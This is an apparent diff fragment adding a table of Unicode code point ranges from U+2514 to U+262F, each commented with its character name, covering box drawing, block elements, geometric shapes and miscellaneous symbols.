+ [0x2514, 0x2514], /* BOX DRAWINGS LIGHT UP AND RIGHT (FORMS LIGHT UP AND RIGHT) */
+ [0x2515, 0x2515], /* BOX DRAWINGS UP LIGHT AND RIGHT HEAVY (FORMS UP LIGHT AND RIGHT HEAVY) */
+ [0x2516, 0x2516], /* BOX DRAWINGS UP HEAVY AND RIGHT LIGHT (FORMS UP HEAVY AND RIGHT LIGHT) */
+ [0x2517, 0x2517], /* BOX DRAWINGS HEAVY UP AND RIGHT (FORMS HEAVY UP AND RIGHT) */
+ [0x2518, 0x2518], /* BOX DRAWINGS LIGHT UP AND LEFT (FORMS LIGHT UP AND LEFT) */
+ [0x2519, 0x2519], /* BOX DRAWINGS UP LIGHT AND LEFT HEAVY (FORMS UP LIGHT AND LEFT HEAVY) */
+ [0x251a, 0x251a], /* BOX DRAWINGS UP HEAVY AND LEFT LIGHT (FORMS UP HEAVY AND LEFT LIGHT) */
+ [0x251b, 0x251b], /* BOX DRAWINGS HEAVY UP AND LEFT (FORMS HEAVY UP AND LEFT) */
+ [0x251c, 0x251c], /* BOX DRAWINGS LIGHT VERTICAL AND RIGHT (FORMS LIGHT VERTICAL AND RIGHT) */
+ [0x251d, 0x251d], /* BOX DRAWINGS VERTICAL LIGHT AND RIGHT HEAVY (FORMS VERTICAL LIGHT AND RIGHT HEAVY) */
+ [0x251e, 0x251e], /* BOX DRAWINGS UP HEAVY AND RIGHT DOWN LIGHT (FORMS UP HEAVY AND RIGHT DOWN LIGHT) */
+ [0x251f, 0x251f], /* BOX DRAWINGS DOWN HEAVY AND RIGHT UP LIGHT (FORMS DOWN HEAVY AND RIGHT UP LIGHT) */
+ [0x2520, 0x2520], /* BOX DRAWINGS VERTICAL HEAVY AND RIGHT LIGHT (FORMS VERTICAL HEAVY AND RIGHT LIGHT) */
+ [0x2521, 0x2521], /* BOX DRAWINGS DOWN LIGHT AND RIGHT UP HEAVY (FORMS DOWN LIGHT AND RIGHT UP HEAVY) */
+ [0x2522, 0x2522], /* BOX DRAWINGS UP LIGHT AND RIGHT DOWN HEAVY (FORMS UP LIGHT AND RIGHT DOWN HEAVY) */
+ [0x2523, 0x2523], /* BOX DRAWINGS HEAVY VERTICAL AND RIGHT (FORMS HEAVY VERTICAL AND RIGHT) */
+ [0x2524, 0x2524], /* BOX DRAWINGS LIGHT VERTICAL AND LEFT (FORMS LIGHT VERTICAL AND LEFT) */
+ [0x2525, 0x2525], /* BOX DRAWINGS VERTICAL LIGHT AND LEFT HEAVY (FORMS VERTICAL LIGHT AND LEFT HEAVY) */
+ [0x2526, 0x2526], /* BOX DRAWINGS UP HEAVY AND LEFT DOWN LIGHT (FORMS UP HEAVY AND LEFT DOWN LIGHT) */
+ [0x2527, 0x2527], /* BOX DRAWINGS DOWN HEAVY AND LEFT UP LIGHT (FORMS DOWN HEAVY AND LEFT UP LIGHT) */
+ [0x2528, 0x2528], /* BOX DRAWINGS VERTICAL HEAVY AND LEFT LIGHT (FORMS VERTICAL HEAVY AND LEFT LIGHT) */
+ [0x2529, 0x2529], /* BOX DRAWINGS DOWN LIGHT AND LEFT UP HEAVY (FORMS DOWN LIGHT AND LEFT UP HEAVY) */
+ [0x252a, 0x252a], /* BOX DRAWINGS UP LIGHT AND LEFT DOWN HEAVY (FORMS UP LIGHT AND LEFT DOWN HEAVY) */
+ [0x252b, 0x252b], /* BOX DRAWINGS HEAVY VERTICAL AND LEFT (FORMS HEAVY VERTICAL AND LEFT) */
+ [0x252c, 0x252c], /* BOX DRAWINGS LIGHT DOWN AND HORIZONTAL (FORMS LIGHT DOWN AND HORIZONTAL) */
+ [0x252d, 0x252d], /* BOX DRAWINGS LEFT HEAVY AND RIGHT DOWN LIGHT (FORMS LEFT HEAVY AND RIGHT DOWN LIGHT) */
+ [0x252e, 0x252e], /* BOX DRAWINGS RIGHT HEAVY AND LEFT DOWN LIGHT (FORMS RIGHT HEAVY AND LEFT DOWN LIGHT) */
+ [0x252f, 0x252f], /* BOX DRAWINGS DOWN LIGHT AND HORIZONTAL HEAVY (FORMS DOWN LIGHT AND HORIZONTAL HEAVY) */
+ [0x2530, 0x2530], /* BOX DRAWINGS DOWN HEAVY AND HORIZONTAL LIGHT (FORMS DOWN HEAVY AND HORIZONTAL LIGHT) */
+ [0x2531, 0x2531], /* BOX DRAWINGS RIGHT LIGHT AND LEFT DOWN HEAVY (FORMS RIGHT LIGHT AND LEFT DOWN HEAVY) */
+ [0x2532, 0x2532], /* BOX DRAWINGS LEFT LIGHT AND RIGHT DOWN HEAVY (FORMS LEFT LIGHT AND RIGHT DOWN HEAVY) */
+ [0x2533, 0x2533], /* BOX DRAWINGS HEAVY DOWN AND HORIZONTAL (FORMS HEAVY DOWN AND HORIZONTAL) */
+ [0x2534, 0x2534], /* BOX DRAWINGS LIGHT UP AND HORIZONTAL (FORMS LIGHT UP AND HORIZONTAL) */
+ [0x2535, 0x2535], /* BOX DRAWINGS LEFT HEAVY AND RIGHT UP LIGHT (FORMS LEFT HEAVY AND RIGHT UP LIGHT) */
+ [0x2536, 0x2536], /* BOX DRAWINGS RIGHT HEAVY AND LEFT UP LIGHT (FORMS RIGHT HEAVY AND LEFT UP LIGHT) */
+ [0x2537, 0x2537], /* BOX DRAWINGS UP LIGHT AND HORIZONTAL HEAVY (FORMS UP LIGHT AND HORIZONTAL HEAVY) */
+ [0x2538, 0x2538], /* BOX DRAWINGS UP HEAVY AND HORIZONTAL LIGHT (FORMS UP HEAVY AND HORIZONTAL LIGHT) */
+ [0x2539, 0x2539], /* BOX DRAWINGS RIGHT LIGHT AND LEFT UP HEAVY (FORMS RIGHT LIGHT AND LEFT UP HEAVY) */
+ [0x253a, 0x253a], /* BOX DRAWINGS LEFT LIGHT AND RIGHT UP HEAVY (FORMS LEFT LIGHT AND RIGHT UP HEAVY) */
+ [0x253b, 0x253b], /* BOX DRAWINGS HEAVY UP AND HORIZONTAL (FORMS HEAVY UP AND HORIZONTAL) */
+ [0x253c, 0x253c], /* BOX DRAWINGS LIGHT VERTICAL AND HORIZONTAL (FORMS LIGHT VERTICAL AND HORIZONTAL) */
+ [0x253d, 0x253d], /* BOX DRAWINGS LEFT HEAVY AND RIGHT VERTICAL LIGHT (FORMS LEFT HEAVY AND RIGHT VERTICAL LIGHT) */
+ [0x253e, 0x253e], /* BOX DRAWINGS RIGHT HEAVY AND LEFT VERTICAL LIGHT (FORMS RIGHT HEAVY AND LEFT VERTICAL LIGHT) */
+ [0x253f, 0x253f], /* BOX DRAWINGS VERTICAL LIGHT AND HORIZONTAL HEAVY (FORMS VERTICAL LIGHT AND HORIZONTAL HEAVY) */
+ [0x2540, 0x2540], /* BOX DRAWINGS UP HEAVY AND DOWN HORIZONTAL LIGHT (FORMS UP HEAVY AND DOWN HORIZONTAL LIGHT) */
+ [0x2541, 0x2541], /* BOX DRAWINGS DOWN HEAVY AND UP HORIZONTAL LIGHT (FORMS DOWN HEAVY AND UP HORIZONTAL LIGHT) */
+ [0x2542, 0x2542], /* BOX DRAWINGS VERTICAL HEAVY AND HORIZONTAL LIGHT (FORMS VERTICAL HEAVY AND HORIZONTAL LIGHT) */
+ [0x2543, 0x2543], /* BOX DRAWINGS LEFT UP HEAVY AND RIGHT DOWN LIGHT (FORMS LEFT UP HEAVY AND RIGHT DOWN LIGHT) */
+ [0x2544, 0x2544], /* BOX DRAWINGS RIGHT UP HEAVY AND LEFT DOWN LIGHT (FORMS RIGHT UP HEAVY AND LEFT DOWN LIGHT) */
+ [0x2545, 0x2545], /* BOX DRAWINGS LEFT DOWN HEAVY AND RIGHT UP LIGHT (FORMS LEFT DOWN HEAVY AND RIGHT UP LIGHT) */
+ [0x2546, 0x2546], /* BOX DRAWINGS RIGHT DOWN HEAVY AND LEFT UP LIGHT (FORMS RIGHT DOWN HEAVY AND LEFT UP LIGHT) */
+ [0x2547, 0x2547], /* BOX DRAWINGS DOWN LIGHT AND UP HORIZONTAL HEAVY (FORMS DOWN LIGHT AND UP HORIZONTAL HEAVY) */
+ [0x2548, 0x2548], /* BOX DRAWINGS UP LIGHT AND DOWN HORIZONTAL HEAVY (FORMS UP LIGHT AND DOWN HORIZONTAL HEAVY) */
+ [0x2549, 0x2549], /* BOX DRAWINGS RIGHT LIGHT AND LEFT VERTICAL HEAVY (FORMS RIGHT LIGHT AND LEFT VERTICAL HEAVY) */
+ [0x254a, 0x254a], /* BOX DRAWINGS LEFT LIGHT AND RIGHT VERTICAL HEAVY (FORMS LEFT LIGHT AND RIGHT VERTICAL HEAVY) */
+ [0x254b, 0x254b], /* BOX DRAWINGS HEAVY VERTICAL AND HORIZONTAL (FORMS HEAVY VERTICAL AND HORIZONTAL) */
+ [0x254c, 0x254c], /* BOX DRAWINGS LIGHT DOUBLE DASH HORIZONTAL (FORMS LIGHT DOUBLE DASH HORIZONTAL) */
+ [0x254d, 0x254d], /* BOX DRAWINGS HEAVY DOUBLE DASH HORIZONTAL (FORMS HEAVY DOUBLE DASH HORIZONTAL) */
+ [0x254e, 0x254e], /* BOX DRAWINGS LIGHT DOUBLE DASH VERTICAL (FORMS LIGHT DOUBLE DASH VERTICAL) */
+ [0x254f, 0x254f], /* BOX DRAWINGS HEAVY DOUBLE DASH VERTICAL (FORMS HEAVY DOUBLE DASH VERTICAL) */
+ [0x2550, 0x2550], /* BOX DRAWINGS DOUBLE HORIZONTAL (FORMS DOUBLE HORIZONTAL) */
+ [0x2551, 0x2551], /* BOX DRAWINGS DOUBLE VERTICAL (FORMS DOUBLE VERTICAL) */
+ [0x2552, 0x2552], /* BOX DRAWINGS DOWN SINGLE AND RIGHT DOUBLE (FORMS DOWN SINGLE AND RIGHT DOUBLE) */
+ [0x2553, 0x2553], /* BOX DRAWINGS DOWN DOUBLE AND RIGHT SINGLE (FORMS DOWN DOUBLE AND RIGHT SINGLE) */
+ [0x2554, 0x2554], /* BOX DRAWINGS DOUBLE DOWN AND RIGHT (FORMS DOUBLE DOWN AND RIGHT) */
+ [0x2555, 0x2555], /* BOX DRAWINGS DOWN SINGLE AND LEFT DOUBLE (FORMS DOWN SINGLE AND LEFT DOUBLE) */
+ [0x2556, 0x2556], /* BOX DRAWINGS DOWN DOUBLE AND LEFT SINGLE (FORMS DOWN DOUBLE AND LEFT SINGLE) */
+ [0x2557, 0x2557], /* BOX DRAWINGS DOUBLE DOWN AND LEFT (FORMS DOUBLE DOWN AND LEFT) */
+ [0x2558, 0x2558], /* BOX DRAWINGS UP SINGLE AND RIGHT DOUBLE (FORMS UP SINGLE AND RIGHT DOUBLE) */
+ [0x2559, 0x2559], /* BOX DRAWINGS UP DOUBLE AND RIGHT SINGLE (FORMS UP DOUBLE AND RIGHT SINGLE) */
+ [0x255a, 0x255a], /* BOX DRAWINGS DOUBLE UP AND RIGHT (FORMS DOUBLE UP AND RIGHT) */
+ [0x255b, 0x255b], /* BOX DRAWINGS UP SINGLE AND LEFT DOUBLE (FORMS UP SINGLE AND LEFT DOUBLE) */
+ [0x255c, 0x255c], /* BOX DRAWINGS UP DOUBLE AND LEFT SINGLE (FORMS UP DOUBLE AND LEFT SINGLE) */
+ [0x255d, 0x255d], /* BOX DRAWINGS DOUBLE UP AND LEFT (FORMS DOUBLE UP AND LEFT) */
+ [0x255e, 0x255e], /* BOX DRAWINGS VERTICAL SINGLE AND RIGHT DOUBLE (FORMS VERTICAL SINGLE AND RIGHT DOUBLE) */
+ [0x255f, 0x255f], /* BOX DRAWINGS VERTICAL DOUBLE AND RIGHT SINGLE (FORMS VERTICAL DOUBLE AND RIGHT SINGLE) */
+ [0x2560, 0x2560], /* BOX DRAWINGS DOUBLE VERTICAL AND RIGHT (FORMS DOUBLE VERTICAL AND RIGHT) */
+ [0x2561, 0x2561], /* BOX DRAWINGS VERTICAL SINGLE AND LEFT DOUBLE (FORMS VERTICAL SINGLE AND LEFT DOUBLE) */
+ [0x2562, 0x2562], /* BOX DRAWINGS VERTICAL DOUBLE AND LEFT SINGLE (FORMS VERTICAL DOUBLE AND LEFT SINGLE) */
+ [0x2563, 0x2563], /* BOX DRAWINGS DOUBLE VERTICAL AND LEFT (FORMS DOUBLE VERTICAL AND LEFT) */
+ [0x2564, 0x2564], /* BOX DRAWINGS DOWN SINGLE AND HORIZONTAL DOUBLE (FORMS DOWN SINGLE AND HORIZONTAL DOUBLE) */
+ [0x2565, 0x2565], /* BOX DRAWINGS DOWN DOUBLE AND HORIZONTAL SINGLE (FORMS DOWN DOUBLE AND HORIZONTAL SINGLE) */
+ [0x2566, 0x2566], /* BOX DRAWINGS DOUBLE DOWN AND HORIZONTAL (FORMS DOUBLE DOWN AND HORIZONTAL) */
+ [0x2567, 0x2567], /* BOX DRAWINGS UP SINGLE AND HORIZONTAL DOUBLE (FORMS UP SINGLE AND HORIZONTAL DOUBLE) */
+ [0x2568, 0x2568], /* BOX DRAWINGS UP DOUBLE AND HORIZONTAL SINGLE (FORMS UP DOUBLE AND HORIZONTAL SINGLE) */
+ [0x2569, 0x2569], /* BOX DRAWINGS DOUBLE UP AND HORIZONTAL (FORMS DOUBLE UP AND HORIZONTAL) */
+ [0x256a, 0x256a], /* BOX DRAWINGS VERTICAL SINGLE AND HORIZONTAL DOUBLE (FORMS VERTICAL SINGLE AND HORIZONTAL DOUBLE) */
+ [0x256b, 0x256b], /* BOX DRAWINGS VERTICAL DOUBLE AND HORIZONTAL SINGLE (FORMS VERTICAL DOUBLE AND HORIZONTAL SINGLE) */
+ [0x256c, 0x256c], /* BOX DRAWINGS DOUBLE VERTICAL AND HORIZONTAL (FORMS DOUBLE VERTICAL AND HORIZONTAL) */
+ [0x256d, 0x256d], /* BOX DRAWINGS LIGHT ARC DOWN AND RIGHT (FORMS LIGHT ARC DOWN AND RIGHT) */
+ [0x256e, 0x256e], /* BOX DRAWINGS LIGHT ARC DOWN AND LEFT (FORMS LIGHT ARC DOWN AND LEFT) */
+ [0x256f, 0x256f], /* BOX DRAWINGS LIGHT ARC UP AND LEFT (FORMS LIGHT ARC UP AND LEFT) */
+ [0x2570, 0x2570], /* BOX DRAWINGS LIGHT ARC UP AND RIGHT (FORMS LIGHT ARC UP AND RIGHT) */
+ [0x2571, 0x2571], /* BOX DRAWINGS LIGHT DIAGONAL UPPER RIGHT TO LOWER LEFT (FORMS LIGHT DIAGONAL UPPER RIGHT TO LOWER LEFT) */
+ [0x2572, 0x2572], /* BOX DRAWINGS LIGHT DIAGONAL UPPER LEFT TO LOWER RIGHT (FORMS LIGHT DIAGONAL UPPER LEFT TO LOWER RIGHT) */
+ [0x2573, 0x2573], /* BOX DRAWINGS LIGHT DIAGONAL CROSS (FORMS LIGHT DIAGONAL CROSS) */
+ [0x2574, 0x2574], /* BOX DRAWINGS LIGHT LEFT (FORMS LIGHT LEFT) */
+ [0x2575, 0x2575], /* BOX DRAWINGS LIGHT UP (FORMS LIGHT UP) */
+ [0x2576, 0x2576], /* BOX DRAWINGS LIGHT RIGHT (FORMS LIGHT RIGHT) */
+ [0x2577, 0x2577], /* BOX DRAWINGS LIGHT DOWN (FORMS LIGHT DOWN) */
+ [0x2578, 0x2578], /* BOX DRAWINGS HEAVY LEFT (FORMS HEAVY LEFT) */
+ [0x2579, 0x2579], /* BOX DRAWINGS HEAVY UP (FORMS HEAVY UP) */
+ [0x257a, 0x257a], /* BOX DRAWINGS HEAVY RIGHT (FORMS HEAVY RIGHT) */
+ [0x257b, 0x257b], /* BOX DRAWINGS HEAVY DOWN (FORMS HEAVY DOWN) */
+ [0x257c, 0x257c], /* BOX DRAWINGS LIGHT LEFT AND HEAVY RIGHT (FORMS LIGHT LEFT AND HEAVY RIGHT) */
+ [0x257d, 0x257d], /* BOX DRAWINGS LIGHT UP AND HEAVY DOWN (FORMS LIGHT UP AND HEAVY DOWN) */
+ [0x257e, 0x257e], /* BOX DRAWINGS HEAVY LEFT AND LIGHT RIGHT (FORMS HEAVY LEFT AND LIGHT RIGHT) */
+ [0x257f, 0x257f], /* BOX DRAWINGS HEAVY UP AND LIGHT DOWN (FORMS HEAVY UP AND LIGHT DOWN) */
+ [0x2580, 0x2580], /* UPPER HALF BLOCK */
+ [0x2581, 0x2581], /* LOWER ONE EIGHTH BLOCK */
+ [0x2582, 0x2582], /* LOWER ONE QUARTER BLOCK */
+ [0x2583, 0x2583], /* LOWER THREE EIGHTHS BLOCK */
+ [0x2584, 0x2584], /* LOWER HALF BLOCK */
+ [0x2585, 0x2585], /* LOWER FIVE EIGHTHS BLOCK */
+ [0x2586, 0x2586], /* LOWER THREE QUARTERS BLOCK (LOWER THREE QUARTER BLOCK) */
+ [0x2587, 0x2587], /* LOWER SEVEN EIGHTHS BLOCK */
+ [0x2588, 0x2588], /* FULL BLOCK */
+ [0x2589, 0x2589], /* LEFT SEVEN EIGHTHS BLOCK */
+ [0x258a, 0x258a], /* LEFT THREE QUARTERS BLOCK (LEFT THREE QUARTER BLOCK) */
+ [0x258b, 0x258b], /* LEFT FIVE EIGHTHS BLOCK */
+ [0x258c, 0x258c], /* LEFT HALF BLOCK */
+ [0x258d, 0x258d], /* LEFT THREE EIGHTHS BLOCK */
+ [0x258e, 0x258e], /* LEFT ONE QUARTER BLOCK */
+ [0x258f, 0x258f], /* LEFT ONE EIGHTH BLOCK */
+ [0x2590, 0x2590], /* RIGHT HALF BLOCK */
+ [0x2591, 0x2591], /* LIGHT SHADE */
+ [0x2592, 0x2592], /* MEDIUM SHADE */
+ [0x2593, 0x2593], /* DARK SHADE */
+ [0x2594, 0x2594], /* UPPER ONE EIGHTH BLOCK */
+ [0x2595, 0x2595], /* RIGHT ONE EIGHTH BLOCK */
+ [0x2596, 0x2596], /* QUADRANT LOWER LEFT */
+ [0x2597, 0x2597], /* QUADRANT LOWER RIGHT */
+ [0x2598, 0x2598], /* QUADRANT UPPER LEFT */
+ [0x2599, 0x2599], /* QUADRANT UPPER LEFT AND LOWER LEFT AND LOWER RIGHT */
+ [0x259a, 0x259a], /* QUADRANT UPPER LEFT AND LOWER RIGHT */
+ [0x259b, 0x259b], /* QUADRANT UPPER LEFT AND UPPER RIGHT AND LOWER LEFT */
+ [0x259c, 0x259c], /* QUADRANT UPPER LEFT AND UPPER RIGHT AND LOWER RIGHT */
+ [0x259d, 0x259d], /* QUADRANT UPPER RIGHT */
+ [0x259e, 0x259e], /* QUADRANT UPPER RIGHT AND LOWER LEFT */
+ [0x259f, 0x259f], /* QUADRANT UPPER RIGHT AND LOWER LEFT AND LOWER RIGHT */
+ [0x25a0, 0x25a0], /* BLACK SQUARE */
+ [0x25a1, 0x25a1], /* WHITE SQUARE */
+ [0x25a2, 0x25a2], /* WHITE SQUARE WITH ROUNDED CORNERS */
+ [0x25a3, 0x25a3], /* WHITE SQUARE CONTAINING BLACK SMALL SQUARE */
+ [0x25a4, 0x25a4], /* SQUARE WITH HORIZONTAL FILL */
+ [0x25a5, 0x25a5], /* SQUARE WITH VERTICAL FILL */
+ [0x25a6, 0x25a6], /* SQUARE WITH ORTHOGONAL CROSSHATCH FILL */
+ [0x25a7, 0x25a7], /* SQUARE WITH UPPER LEFT TO LOWER RIGHT FILL */
+ [0x25a8, 0x25a8], /* SQUARE WITH UPPER RIGHT TO LOWER LEFT FILL */
+ [0x25a9, 0x25a9], /* SQUARE WITH DIAGONAL CROSSHATCH FILL */
+ [0x25aa, 0x25aa], /* BLACK SMALL SQUARE */
+ [0x25ab, 0x25ab], /* WHITE SMALL SQUARE */
+ [0x25ac, 0x25ac], /* BLACK RECTANGLE */
+ [0x25ad, 0x25ad], /* WHITE RECTANGLE */
+ [0x25ae, 0x25ae], /* BLACK VERTICAL RECTANGLE */
+ [0x25af, 0x25af], /* WHITE VERTICAL RECTANGLE */
+ [0x25b0, 0x25b0], /* BLACK PARALLELOGRAM */
+ [0x25b1, 0x25b1], /* WHITE PARALLELOGRAM */
+ [0x25b2, 0x25b2], /* BLACK UP-POINTING TRIANGLE (BLACK UP POINTING TRIANGLE) */
+ [0x25b3, 0x25b3], /* WHITE UP-POINTING TRIANGLE (WHITE UP POINTING TRIANGLE) */
+ [0x25b4, 0x25b4], /* BLACK UP-POINTING SMALL TRIANGLE (BLACK UP POINTING SMALL TRIANGLE) */
+ [0x25b5, 0x25b5], /* WHITE UP-POINTING SMALL TRIANGLE (WHITE UP POINTING SMALL TRIANGLE) */
+ [0x25b6, 0x25b6], /* BLACK RIGHT-POINTING TRIANGLE (BLACK RIGHT POINTING TRIANGLE) */
+ [0x25b7, 0x25b7], /* WHITE RIGHT-POINTING TRIANGLE (WHITE RIGHT POINTING TRIANGLE) */
+ [0x25b8, 0x25b8], /* BLACK RIGHT-POINTING SMALL TRIANGLE (BLACK RIGHT POINTING SMALL TRIANGLE) */
+ [0x25b9, 0x25b9], /* WHITE RIGHT-POINTING SMALL TRIANGLE (WHITE RIGHT POINTING SMALL TRIANGLE) */
+ [0x25ba, 0x25ba], /* BLACK RIGHT-POINTING POINTER (BLACK RIGHT POINTING POINTER) */
+ [0x25bb, 0x25bb], /* WHITE RIGHT-POINTING POINTER (WHITE RIGHT POINTING POINTER) */
+ [0x25bc, 0x25bc], /* BLACK DOWN-POINTING TRIANGLE (BLACK DOWN POINTING TRIANGLE) */
+ [0x25bd, 0x25bd], /* WHITE DOWN-POINTING TRIANGLE (WHITE DOWN POINTING TRIANGLE) */
+ [0x25be, 0x25be], /* BLACK DOWN-POINTING SMALL TRIANGLE (BLACK DOWN POINTING SMALL TRIANGLE) */
+ [0x25bf, 0x25bf], /* WHITE DOWN-POINTING SMALL TRIANGLE (WHITE DOWN POINTING SMALL TRIANGLE) */
+ [0x25c0, 0x25c0], /* BLACK LEFT-POINTING TRIANGLE (BLACK LEFT POINTING TRIANGLE) */
+ [0x25c1, 0x25c1], /* WHITE LEFT-POINTING TRIANGLE (WHITE LEFT POINTING TRIANGLE) */
+ [0x25c2, 0x25c2], /* BLACK LEFT-POINTING SMALL TRIANGLE (BLACK LEFT POINTING SMALL TRIANGLE) */
+ [0x25c3, 0x25c3], /* WHITE LEFT-POINTING SMALL TRIANGLE (WHITE LEFT POINTING SMALL TRIANGLE) */
+ [0x25c4, 0x25c4], /* BLACK LEFT-POINTING POINTER (BLACK LEFT POINTING POINTER) */
+ [0x25c5, 0x25c5], /* WHITE LEFT-POINTING POINTER (WHITE LEFT POINTING POINTER) */
+ [0x25c6, 0x25c6], /* BLACK DIAMOND */
+ [0x25c7, 0x25c7], /* WHITE DIAMOND */
+ [0x25c8, 0x25c8], /* WHITE DIAMOND CONTAINING BLACK SMALL DIAMOND */
+ [0x25c9, 0x25c9], /* FISHEYE */
+ [0x25ca, 0x25ca], /* LOZENGE */
+ [0x25cb, 0x25cb], /* WHITE CIRCLE */
+ [0x25cc, 0x25cc], /* DOTTED CIRCLE */
+ [0x25cd, 0x25cd], /* CIRCLE WITH VERTICAL FILL */
+ [0x25ce, 0x25ce], /* BULLSEYE */
+ [0x25cf, 0x25cf], /* BLACK CIRCLE */
+ [0x25d0, 0x25d0], /* CIRCLE WITH LEFT HALF BLACK */
+ [0x25d1, 0x25d1], /* CIRCLE WITH RIGHT HALF BLACK */
+ [0x25d2, 0x25d2], /* CIRCLE WITH LOWER HALF BLACK */
+ [0x25d3, 0x25d3], /* CIRCLE WITH UPPER HALF BLACK */
+ [0x25d4, 0x25d4], /* CIRCLE WITH UPPER RIGHT QUADRANT BLACK */
+ [0x25d5, 0x25d5], /* CIRCLE WITH ALL BUT UPPER LEFT QUADRANT BLACK */
+ [0x25d6, 0x25d6], /* LEFT HALF BLACK CIRCLE */
+ [0x25d7, 0x25d7], /* RIGHT HALF BLACK CIRCLE */
+ [0x25d8, 0x25d8], /* INVERSE BULLET */
+ [0x25d9, 0x25d9], /* INVERSE WHITE CIRCLE */
+ [0x25da, 0x25da], /* UPPER HALF INVERSE WHITE CIRCLE */
+ [0x25db, 0x25db], /* LOWER HALF INVERSE WHITE CIRCLE */
+ [0x25dc, 0x25dc], /* UPPER LEFT QUADRANT CIRCULAR ARC */
+ [0x25dd, 0x25dd], /* UPPER RIGHT QUADRANT CIRCULAR ARC */
+ [0x25de, 0x25de], /* LOWER RIGHT QUADRANT CIRCULAR ARC */
+ [0x25df, 0x25df], /* LOWER LEFT QUADRANT CIRCULAR ARC */
+ [0x25e0, 0x25e0], /* UPPER HALF CIRCLE */
+ [0x25e1, 0x25e1], /* LOWER HALF CIRCLE */
+ [0x25e2, 0x25e2], /* BLACK LOWER RIGHT TRIANGLE */
+ [0x25e3, 0x25e3], /* BLACK LOWER LEFT TRIANGLE */
+ [0x25e4, 0x25e4], /* BLACK UPPER LEFT TRIANGLE */
+ [0x25e5, 0x25e5], /* BLACK UPPER RIGHT TRIANGLE */
+ [0x25e6, 0x25e6], /* WHITE BULLET */
+ [0x25e7, 0x25e7], /* SQUARE WITH LEFT HALF BLACK */
+ [0x25e8, 0x25e8], /* SQUARE WITH RIGHT HALF BLACK */
+ [0x25e9, 0x25e9], /* SQUARE WITH UPPER LEFT DIAGONAL HALF BLACK */
+ [0x25ea, 0x25ea], /* SQUARE WITH LOWER RIGHT DIAGONAL HALF BLACK */
+ [0x25eb, 0x25eb], /* WHITE SQUARE WITH VERTICAL BISECTING LINE */
+ [0x25ec, 0x25ec], /* WHITE UP-POINTING TRIANGLE WITH DOT (WHITE UP POINTING TRIANGLE WITH DOT) */
+ [0x25ed, 0x25ed], /* UP-POINTING TRIANGLE WITH LEFT HALF BLACK (UP POINTING TRIANGLE WITH LEFT HALF BLACK) */
+ [0x25ee, 0x25ee], /* UP-POINTING TRIANGLE WITH RIGHT HALF BLACK (UP POINTING TRIANGLE WITH RIGHT HALF BLACK) */
+ [0x25ef, 0x25ef], /* LARGE CIRCLE */
+ [0x25f0, 0x25f0], /* WHITE SQUARE WITH UPPER LEFT QUADRANT */
+ [0x25f1, 0x25f1], /* WHITE SQUARE WITH LOWER LEFT QUADRANT */
+ [0x25f2, 0x25f2], /* WHITE SQUARE WITH LOWER RIGHT QUADRANT */
+ [0x25f3, 0x25f3], /* WHITE SQUARE WITH UPPER RIGHT QUADRANT */
+ [0x25f4, 0x25f4], /* WHITE CIRCLE WITH UPPER LEFT QUADRANT */
+ [0x25f5, 0x25f5], /* WHITE CIRCLE WITH LOWER LEFT QUADRANT */
+ [0x25f6, 0x25f6], /* WHITE CIRCLE WITH LOWER RIGHT QUADRANT */
+ [0x25f7, 0x25f7], /* WHITE CIRCLE WITH UPPER RIGHT QUADRANT */
+ [0x25f8, 0x25f8], /* UPPER LEFT TRIANGLE */
+ [0x25f9, 0x25f9], /* UPPER RIGHT TRIANGLE */
+ [0x25fa, 0x25fa], /* LOWER LEFT TRIANGLE */
+ [0x25fb, 0x25fb], /* WHITE MEDIUM SQUARE */
+ [0x25fc, 0x25fc], /* BLACK MEDIUM SQUARE */
+ [0x25fd, 0x25fd], /* WHITE MEDIUM SMALL SQUARE */
+ [0x25fe, 0x25fe], /* BLACK MEDIUM SMALL SQUARE */
+ [0x25ff, 0x25ff], /* LOWER RIGHT TRIANGLE */
+ [0x2600, 0x2600], /* BLACK SUN WITH RAYS */
+ [0x2601, 0x2601], /* CLOUD */
+ [0x2602, 0x2602], /* UMBRELLA */
+ [0x2603, 0x2603], /* SNOWMAN */
+ [0x2604, 0x2604], /* COMET */
+ [0x2605, 0x2605], /* BLACK STAR */
+ [0x2606, 0x2606], /* WHITE STAR */
+ [0x2607, 0x2607], /* LIGHTNING */
+ [0x2608, 0x2608], /* THUNDERSTORM */
+ [0x2609, 0x2609], /* SUN */
+ [0x260a, 0x260a], /* ASCENDING NODE */
+ [0x260b, 0x260b], /* DESCENDING NODE */
+ [0x260c, 0x260c], /* CONJUNCTION */
+ [0x260d, 0x260d], /* OPPOSITION */
+ [0x260e, 0x260e], /* BLACK TELEPHONE */
+ [0x260f, 0x260f], /* WHITE TELEPHONE */
+ [0x2610, 0x2610], /* BALLOT BOX */
+ [0x2611, 0x2611], /* BALLOT BOX WITH CHECK */
+ [0x2612, 0x2612], /* BALLOT BOX WITH X */
+ [0x2613, 0x2613], /* SALTIRE */
+ [0x2614, 0x2614], /* UMBRELLA WITH RAIN DROPS */
+ [0x2615, 0x2615], /* HOT BEVERAGE */
+ [0x2616, 0x2616], /* WHITE SHOGI PIECE */
+ [0x2617, 0x2617], /* BLACK SHOGI PIECE */
+ [0x2618, 0x2618], /* SHAMROCK */
+ [0x2619, 0x2619], /* REVERSED ROTATED FLORAL HEART BULLET */
+ [0x261a, 0x261a], /* BLACK LEFT POINTING INDEX */
+ [0x261b, 0x261b], /* BLACK RIGHT POINTING INDEX */
+ [0x261c, 0x261c], /* WHITE LEFT POINTING INDEX */
+ [0x261d, 0x261d], /* WHITE UP POINTING INDEX */
+ [0x261e, 0x261e], /* WHITE RIGHT POINTING INDEX */
+ [0x261f, 0x261f], /* WHITE DOWN POINTING INDEX */
+ [0x2620, 0x2620], /* SKULL AND CROSSBONES */
+ [0x2621, 0x2621], /* CAUTION SIGN */
+ [0x2622, 0x2622], /* RADIOACTIVE SIGN */
+ [0x2623, 0x2623], /* BIOHAZARD SIGN */
+ [0x2624, 0x2624], /* CADUCEUS */
+ [0x2625, 0x2625], /* ANKH */
+ [0x2626, 0x2626], /* ORTHODOX CROSS */
+ [0x2627, 0x2627], /* CHI RHO */
+ [0x2628, 0x2628], /* CROSS OF LORRAINE */
+ [0x2629, 0x2629], /* CROSS OF JERUSALEM */
+ [0x262a, 0x262a], /* STAR AND CRESCENT */
+ [0x262b, 0x262b], /* FARSI SYMBOL (SYMBOL OF IRAN) */
+ [0x262c, 0x262c], /* ADI SHAKTI */
+ [0x262d, 0x262d], /* HAMMER AND SICKLE */
+ [0x262e, 0x262e], /* PEACE SYMBOL */
+ [0x262f, 0x262f], /* YIN YANG */
